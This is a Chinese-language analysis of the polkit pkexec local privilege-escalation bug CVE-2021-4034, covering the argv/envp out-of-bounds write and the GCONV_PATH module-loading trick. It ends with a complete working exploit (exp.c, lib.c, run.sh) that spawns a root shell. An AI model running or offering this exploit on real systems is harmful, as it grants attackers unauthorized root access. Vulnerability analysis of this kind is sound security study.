CVE-2021-4034分析 - 网安 - 专业的网络安全产业、社区、知识平台

一
漏洞介绍

在 polkit 的 pkexec 工具中发现的本地权限升级漏洞，pkexec 应用程序是一个 setuid 工具，旨在允许非特权用户按照预定义策略以特权用户身份运行命令。当前版本的 pkexec 无法正确处理调用参数个数，并试图将环境变量作为命令执行。攻击者可以利用这一点，精心设计环境变量，诱使 pkexec 执行任意代码。成功执行后，该攻击可导致本地权限升级，赋予未授权用户在目标计算机上的管理权限。

二
漏洞分析

polkit

漏洞代码（v0.120）：

......
for (n = 1; n < (guint) argc; n++)
    {
         ......
    }
    ......
  g_assert (argv[argc] == NULL);
  path = g_strdup (argv[n]);
    if (path == NULL)
    .....
    }
  if (path[0] != '/')
    {
      /* g_find_program_in_path() is not suspectible to attacks via the environment */
      s = g_find_program_in_path (path);
      if (s == NULL)
        {
          g_printerr ("Cannot run program %s: %s\n", path, strerror (ENOENT));
          goto out;
        }
      g_free (path);
      argv[n] = path = s;
    }

漏洞逻辑如下：

1.polkit在处理argv的时候，n是从1开始计数的，for循环结束后path变量被赋值为了g_strdup (argv[n]);，如果传递的参数个数为0（即argv={ NULL}），这里就会有一个数组越界。而众所周之，argv和envp是连着的：

所以数组越界会取到envp[0]的值并赋值给path。

2.接下来如果path[0] != '/'，程序就会调用函数g_find_program_in_path来找到path的路径，g_find_program_in_path会从环境变量PATH中寻找目录，并查看目录中有没有path文件，如果某个目录中有path文件就返回"目录名/文件名"。比如用户设置envp[0]为"sh"，g_find_program_in_path就会从环境变量PATH中寻找目录，寻找到目录"/bin"的时候，发现目录下有文件"sh"，此时g_find_program_in_path就会返回"/bin/sh"。

3.接下来程序会把得到的"路径/文件名"写回argv[n]，同理如果argv={ NULL}程序就会把得到的值写到envp[0]中。

所以漏洞可以做到一个越界写，解析出envp[0]在环境变量PATH中的路径，并将"路径/envp[0]"写回envp[0]。

Linux下的目录

Linux下的目录中可以带有特殊符号，可以完成许多奇怪的操作，比如下面这个：

所以可以给目录起名叫做"TEST=."，也可以指定环境变量PATH="TEST=."，所以如果指定polkit的PATH="TEST=."，并在目录"TEST=."下新建文件"test"，同时将envp[0]设置为test的话：

1.数组越界会取到"test"的值并赋值给path。

2.path[0] != '/'，程序就会调用函数g_find_program_in_path找"test"的路径。

3.g_find_program_in_path函数从环境变量PATH中找到了目录"TEST=."，并在目录下找到了文件"test"。

4.g_find_program_in_path将"TEST=./test"返回，程序将"TEST=./test"写入envp[0]。

通过这个技巧，我们达到了利用数组越界漏洞完成环境变量注入的目的操作。

LD_PRELOAD&GCONV_PATH

要通过环境变量完成提权，最方便的就是劫持程序加载的libc，执行用户自己写的函数。

环境变量LD_PRELOAD就可以指定glibc的位置，使用户可以为某个二进制程序指定运行特定版本或者自己编译的libc，但是有SUID-bit的二进制程序在启动的时候不吃这个环境变量，那通过这个漏洞是不是可以将LD_PRELOAD注入polkit进程中进而劫持其glibc呢？很遗憾，在二进制程序正常运行的时候，glibc已经加载完成了，这时候指定LD_PRELOAD不会有任何作用。

所以要用到环境变量GCONV_PATH，该环境变量能够使glibc使用用户自定义的gconv-modules文件，而gconv-modules可以指定带有函数gconv()和gonv_init()的libc文件。在polkit源码中，多次使用了g_printerr函数进行报错，如果环境变量CHARSET不是UTF-8，g_printerr()将会调用函数iconv_open()来转换编码，此时iconv_open就会去根据环境变量GCONV_PATH寻找gconv-modules，并找到gconv-modules指定的libc文件，调用其中的gconv()与gonv_init()。

g_printerr()调用iconv_open()的路径为：

g_printerr
    -> g_default_printerr_func
        -> print_string
         -> strdup_convert
         	-> g_convert_with_fallback
         		-> g_convert
         			-> open_converter
         				-> g_iconv_open
         					-> try_conversion
         						-> iconv_open

gconv-modules格式如下：

module 字符集1// 字符集2// libc名字 cost

漏洞利用

当程序中shell的环境变量为无效shell时就会触发g_printerr的报错：

所以利用步骤为：

1.创建目录'GCONV_PATH=.'

2.在目录'GCONV_PATH=.'下创建文件pwnkitdir

3.创建目录'pwnkitdir'

4.在目录下创建文件gconv-modules，写入内容"module UTF-8// PWNKIT// pwnkit 1"

5.编写c代码，编写名为gconv_init()的提权函数或者编写带有__attribute__ ((constructor))修饰的提权函数，编译为pwnkit.so，放在gconv-modules同级目录

6.编写c代码，用来运行pkexec，将argv设为{ NULL}，a_envp设置为

char * envp[] = {        "pwnkitdir",        "PATH=GCONV_PATH=.",        "CHARSET=PWNKIT",        "SHELL=xxx",        NULL};

并编译运行即可获得rootshell。

三
漏洞验证

exp.c:

#include <stdio.h>
#include <unistd.h>
int main(int argc, char **argv)
{
        char * const a_argv [] = { NULL};
        char * const a_envp[] = {
                "pwnkitdir",
                "PATH=GCONV_PATH=.",
                "CHARSET=PWNKIT",
                "SHELL=xxx",
                NULL
        };
        execve("/usr/local/bin/pkexec", a_argv, a_envp);
}

lib.c:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
static void __attribute__ ((constructor)) exp(void);
static void exp(void)
{
        setuid(0); seteuid(0); setgid(0); setegid(0);
        static char *a_argv[] = { "sh", NULL };
        static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
        execve("/bin/sh", a_argv, a_envp);
}

run.sh:

mkdir 'GCONV_PATH=.'
touch 'GCONV_PATH=./pwnkitdir'
chmod 777 'GCONV_PATH=./pwnkitdir'
mkdir pwnkitdir
touch pwnkitdir/gconv-modules
echo "module UTF-8// PWNKIT// pwnkit 1" >> pwnkitdir/gconv-modules
gcc -fPIC -shared lib.c -o pwnkitdir/pwnkit.so
gcc exp.c -o exp

运行run.sh完成exp利用的前置环境搭建，切换为普通用户：

运行exp，完成提权。